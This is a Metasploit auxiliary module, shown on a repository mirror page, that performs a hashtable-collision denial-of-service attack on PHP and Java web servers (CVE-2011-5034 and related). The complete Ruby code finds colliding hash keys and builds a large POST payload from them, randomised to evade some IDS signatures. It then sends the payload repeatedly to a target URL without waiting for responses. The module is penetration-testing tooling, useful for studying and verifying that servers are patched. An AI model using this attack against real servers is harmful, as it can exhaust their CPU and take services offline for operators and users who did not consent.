CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/hashcollision_dos.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Hashtable Collisions',
13
'Description' => %q{
14
This module uses a denial-of-service (DoS) condition appearing in a variety of
15
programming languages. This vulnerability occurs when storing multiple values
16
in a hash table and all values have the same hash value. This can cause a web server
17
parsing the POST parameters issued with a request into a hash table to consume
18
hours of CPU with a single HTTP request.
19
20
Currently, only the hash functions for PHP and Java are implemented.
21
This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
22
It also generates a random payload to bypass some IDS signatures.
23
},
24
'Author' =>
25
[
26
'Alexander Klink', # advisory
27
'Julian Waelde', # advisory
28
'Scott A. Crosby', # original advisory
29
'Dan S. Wallach', # original advisory
30
'Krzysztof Kotowicz', # payload generator
31
'Christian Mehlmauer' # metasploit module
32
],
33
'License' => MSF_LICENSE,
34
'References' =>
35
[
36
['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],
37
['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],
38
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
39
['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
40
['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],
41
['CVE', '2011-5034'],
42
['CVE', '2011-5035'],
43
['CVE', '2011-4885'],
44
['CVE', '2011-4858']
45
],
46
'DisclosureDate'=> '2011-12-28'
47
))
48
49
register_options(
50
[
51
OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP','Java']]),
52
OptString.new('URL', [ true, "The request URI", '/' ]),
53
OptInt.new('RLIMIT', [ true, "Number of requests to send", 50 ])
54
])
55
56
register_advanced_options(
57
[
58
OptInt.new('RecursiveMax', [false, "Maximum recursions when searching for collisionchars", 15]),
59
OptInt.new('MaxPayloadSize', [false, "Maximum size of the Payload in Megabyte. Autoadjust if 0", 0]),
60
OptInt.new('CollisionChars', [false, "Number of colliding chars to find", 5]),
61
OptInt.new('CollisionCharLength', [false, "Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)", 2]),
62
OptInt.new('PayloadLength', [false, "Length of each parameter in the payload", 8])
63
])
64
end
65
66
def generate_payload
67
# Taken from:
68
# https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
69
70
@recursive_counter = 1
71
collision_chars = compute_collision_chars
72
return nil if collision_chars == nil
73
74
length = datastore['PayloadLength']
75
size = collision_chars.length
76
post = ""
77
max_value_float = size ** length
78
max_value_int = max_value_float.floor
79
print_status("#{rhost}:#{rport} - Generating POST data...")
80
for i in 0.upto(max_value_int)
81
input_string = i.to_s(size)
82
result = input_string.rjust(length, "0")
83
collision_chars.each do |key, value|
84
result = result.gsub(key, value)
85
end
86
post << "#{Rex::Text.uri_encode(result)}=&"
87
end
88
return post
89
end
90
91
def compute_collision_chars
92
print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
93
hashes = {}
94
counter = 0
95
length = datastore['CollisionCharLength']
96
a = []
97
for i in @char_range
98
a << i.chr
99
end
100
# Generate all possible strings
101
source = a
102
for i in Range.new(1,length-1)
103
source = source.product(a)
104
end
105
source = source.map(&:join)
106
# and pick a random one
107
base_str = source.sample
108
base_hash = @function.call(base_str)
109
hashes[counter.to_s] = base_str
110
counter = counter + 1
111
for item in source
112
if item == base_str
113
next
114
end
115
if @function.call(item) == base_hash
116
# Hooray we found a matching hash
117
hashes[counter.to_s] = item
118
counter = counter + 1
119
end
120
if counter >= datastore['CollisionChars']
121
break
122
end
123
end
124
if counter < datastore['CollisionChars']
125
# Try it again
126
if @recursive_counter > datastore['RecursiveMax']
127
print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
128
return nil
129
end
130
print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
131
@recursive_counter = @recursive_counter + 1
132
hashes = compute_collision_chars
133
else
134
print_status("#{rhost}:#{rport} - Found values:")
135
hashes.each_value do |item|
136
print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
137
item.each_char do |c|
138
print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack("C")}")
139
end
140
end
141
end
142
return hashes
143
end
144
145
# General hash function, Dan "djb" Bernstein times XX add
146
def djbxa(input_string, base, start)
147
counter = input_string.length - 1
148
result = start
149
input_string.each_char do |item|
150
result = result + ((base ** counter) * item.ord)
151
counter = counter - 1
152
end
153
return result.round
154
end
155
156
# PHP's hash function (djb times 33 add)
157
def djbx33a(input_string)
158
return djbxa(input_string, 33, 5381)
159
end
160
161
# Java's hash function (djb times 31 add)
162
def djbx31a(input_string)
163
return djbxa(input_string, 31, 0)
164
end
165
166
def run
167
case datastore['TARGET']
168
when /PHP/
169
@function = method(:djbx33a)
170
@char_range = Range.new(0, 255)
171
if (datastore['MaxPayloadSize'] <= 0)
172
datastore['MaxPayloadSize'] = 8 # XXX: Refactor
173
end
174
when /Java/
175
@function = method(:djbx31a)
176
@char_range = Range.new(0, 128)
177
if (datastore['MaxPayloadSize'] <= 0)
178
datastore['MaxPayloadSize'] = 2 # XXX: Refactor
179
end
180
else
181
raise RuntimeError, "Target #{datastore['TARGET']} not supported"
182
end
183
184
print_status("#{rhost}:#{rport} - Generating payload...")
185
payload = generate_payload
186
return if payload == nil
187
# trim to maximum payload size (in MB)
188
max_in_mb = datastore['MaxPayloadSize']*1024*1024
189
payload = payload[0,max_in_mb]
190
# remove last invalid(cut off) parameter
191
position = payload.rindex("=&")
192
payload = payload[0,position+1]
193
print_status("#{rhost}:#{rport} -Payload generated")
194
195
for x in 1..datastore['RLIMIT']
196
print_status("#{rhost}:#{rport} - Sending request ##{x}...")
197
opts = {
198
'method' => 'POST',
199
'uri' => normalize_uri(datastore['URL']),
200
'data' => payload
201
}
202
begin
203
c = connect
204
r = c.request_cgi(opts)
205
c.send_request(r)
206
# Don't wait for a response, can take hours
207
rescue ::Rex::ConnectionError => exception
208
print_error("#{rhost}:#{rport} - Unable to connect: '#{exception.message}'")
209
return
210
ensure
211
disconnect(c) if c
212
end
213
end
214
end
215
end
216
217